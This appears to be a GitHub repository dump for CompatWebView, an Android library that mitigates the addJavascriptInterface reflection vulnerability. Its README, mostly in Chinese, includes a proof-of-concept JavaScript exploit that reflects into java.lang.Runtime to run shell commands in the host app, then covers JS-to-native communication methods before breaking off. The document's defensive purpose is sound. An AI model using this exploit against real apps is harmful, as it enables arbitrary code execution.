├── .gitignore ├── README.md ├── build.gradle ├── compat-webview ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ └── java │ └── com │ └── sw │ └── compat │ └── webview │ ├── CompatWebView.java │ └── CompatWebViewClient.java ├── example ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ ├── assets │ ├── web_compat.html │ ├── web_inject.html │ └── web_js_android.html │ ├── java │ └── com │ │ └── sw │ │ └── bridge │ │ ├── CommunicateWebViewActivity.java │ │ ├── CompatWebViewActivity.java │ │ ├── InjectWebViewActivity.java │ │ ├── MyApp.java │ │ └── Util.java │ └── res │ ├── drawable-v24 │ └── ic_launcher_foreground.xml │ ├── drawable │ └── ic_launcher_background.xml │ ├── layout │ ├── activity_webview_compat_layout.xml │ └── activity_webview_layout.xml │ ├── mipmap-anydpi-v26 │ ├── ic_launcher.xml │ └── ic_launcher_round.xml │ ├── mipmap-hdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-mdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xxhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xxxhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ └── values │ └── strings.xml ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── tools.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/workspace.xml 5 | /.idea/libraries 6 | .DS_Store 7 | /build 8 | /captures 9 | .externalNativeBuild 10 | .idea 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CompatWebView 2 | ------------- 3 | 4 | CompatWebView是为了解决WebView的JavaScriptInterface注入漏洞 5 | - [漏洞介绍:CVE-2012-6636](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636) [CVE-2013-4710](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710) 6 | - [官方说明:addJavaScriptInterface](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface) 7 | - This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2. The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called only when running on Android 4.2 or later. With these older versions, **JavaScript could use reflection to access an injected object's public fields.** Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content. 8 | 9 | - 在Android的api小于17(android4.2)调用addJavaScriptInterface注入java对象会有安全风险,可以通过js注入反射调用到Java层的方法,造成安全隐患。[漏洞验证案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/InjectWebViewActivity.java) 10 | 11 | - CompatWebView的解决方案:在大于等于android4.2中延用addJavaScriptInterface,在小于android4.2中采用另外的通道与js进行交互,同时保持api调用的一致性, 12 | CompatWebView做到了对客户端开发透明,复用了原来addJavaScriptInterface的api,对前端开发也是透明的,前端不用写两套交互方式。 13 | 14 | 15 | 16 | 17 | How to use 18 | ----------- 19 | [使用案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/CompatWebViewActivity.java) 20 | - 1、添加依赖 21 | ```groovy 22 | implementation 'com.sw.compat.webview:compat-webview:1.0.0' 23 | ``` 24 | - 2、用CompatWebView替换原来的WebView,在需要调用addJavaScriptInterface()的地方替换成方法compatAddJavascriptInterface() 25 | ```java 26 | webView.compatAddJavascriptInterface(new JInterface(), "JInterface"); 27 | ``` 28 | - 3、如果需要自定义WebViewClient的话,必须继承自CompatWebViewClient来替换原来的WebViewClient,如果不自定义的话可以省掉此步骤 29 | ```java 30 | webView.setWebViewClient(new CompatWebViewClient(){ 31 | 32 | }); 33 | ``` 34 | 35 | 36 | 37 | 38 | 漏洞验证案例 39 | ----------- 40 | 下面验证一下addJavaScriptInterface漏洞,详细代码见[漏洞验证案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/InjectWebViewActivity.java) 41 | - 1、先定义一个JavascriptInterface 42 | ```java 43 | public class JInterface { 44 | @JavascriptInterface 45 | public void testJsCallJava(String msg, int i) { 46 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 47 | } 48 | } 49 | ``` 50 | - 2、再将Interface通过addJavaScriptInterface添加到WebView 51 | ```java 52 | webView.addJavascriptInterface(new JInterface(), "JInterface"); 53 | ``` 54 | - 3、然后我们看看在Javascript中就可以通过查找window属性中的JInterface对象,然后反射执行一些攻击了,例如下面的例子通过反射Android中的Runtime类在应用中执行shell脚本。 55 | ```javascript 56 | function testInjectBug(){ 57 | var p = execute(["ls","/"]); 58 | console.log(convertStreamToString(p.getInputStream())); 59 | } 60 | function execute(cmdArgs) { 61 | for (var obj in window) { 62 | if ("getClass" in window[obj]) { 63 | console.log("find:"+obj); 64 | return window[obj].getClass().forName("java.lang.Runtime"). 65 | getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 66 | } 67 | } 68 | } 69 | function convertStreamToString(inputStream) { 70 | var result = ""; 71 | var i = inputStream.read(); 72 | while(i != -1) { 73 | var tmp = String.fromCharCode(i); 74 | result += tmp; 75 | i = inputStream.read(); 76 | } 77 | return result; 78 | } 79 | ``` 80 | 81 | 82 | 83 | 84 | JavaScript与Android通信 85 | ---------------------- 86 | 在介绍CompatWebView原理之前,先总结一下Javascript与Android的通信方式 87 | ### JavaScript调用Android通信方式总结 88 | 总的来说JavaScript与Android native通信的方式有**三大类**:[使用案例](https://github.com/heimashi/CompatWebView/blob/master/example/src/main/java/com/sw/bridge/CommunicateWebViewActivity.java) 89 | - **通过JavaScriptInterface注入java对象** 90 | - Android端注入 91 | ```java 92 | webView.addJavascriptInterface(new JInterface(), "JInterface"); 93 | 94 | private static class JInterface { 95 | @JavascriptInterface 96 | public void testJsCallJava(String msg, int i) { 97 | Toast.makeText(MyApp.application, msg + ":" + (i + 20), Toast.LENGTH_SHORT).show(); 98 | } 99 | } 100 | ``` 101 | - JS端调用 102 | ```javascript 103 | JInterface.testJsCallJava("hello", 666) 104 | ``` 105 | - **通过WebViewClient,实现shouldOverrideUrlLoading** 106 | - Android端WebViewClient,复写shouldOverrideUrlLoading 107 | ```java 108 | webView.setWebViewClient(new WebViewClient() { 109 | @Override 110 | public boolean shouldOverrideUrlLoading(WebView view, String url) { 111 | try { 112 | url = URLDecoder.decode(url, "UTF-8"); 113 | } catch (UnsupportedEncodingException e) { 114 | e.printStackTrace(); 115 | } 116 | if (url.startsWith(SCHEME)) { 117 | Toast.makeText(CommunicateWebViewActivity.this, url, Toast.LENGTH_SHORT).show(); 118 | return true; 119 | } 120 | return super.shouldOverrideUrlLoading(view, url); 121 | } 122 | } 123 | ``` 124 | - JS端调用 125 | ```javascript 126 | document.location = "jtscheme://hello" 127 | window.location.href = "jtscheme://hello" 128 | ``` 129 | - 或者通过H5标签 130 | ```html 131 | ShouldOverrideUrlLoading 132 |